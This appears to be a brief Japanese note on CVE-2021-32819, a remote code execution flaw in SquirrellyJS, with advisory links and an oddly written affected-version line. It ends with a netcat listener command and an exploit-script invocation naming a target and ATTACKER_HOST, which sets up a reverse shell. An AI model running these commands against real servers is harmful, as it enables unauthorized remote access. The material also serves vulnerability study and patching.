
SquirrellyJSは、ExpressレンダリングAPIを通じて、純粋なテンプレートデータとエンジン設定オプションを混在させます。内部設定オプションを上書きすることにより、ダウンストリームアプリケーションでリモートコード実行が引き起こされる可能性があります。
CVE-2021-32819 : SquirrellyJSは、ExpressレンダリングAPIを通じて、純粋なテンプレートデータとエンジン設定オプションを混在させます。内部設定オプションを上書きすることで、ダウンストリームアプリケーションでリモートコード実行が引き起こされる可能性があります。
https://securitylab.github.com/advisories/GHSL-2021-023-squirrelly/
https://blog.diefunction.io/vulnerabilities/ghsl-2021-023
v8.0.0 >= v8.0.8 リモートコード実行
Ubuntu 20.04.1
nc -lvp 443
python3 exploit.py http://example.com/ ATTACKER_HOST 443
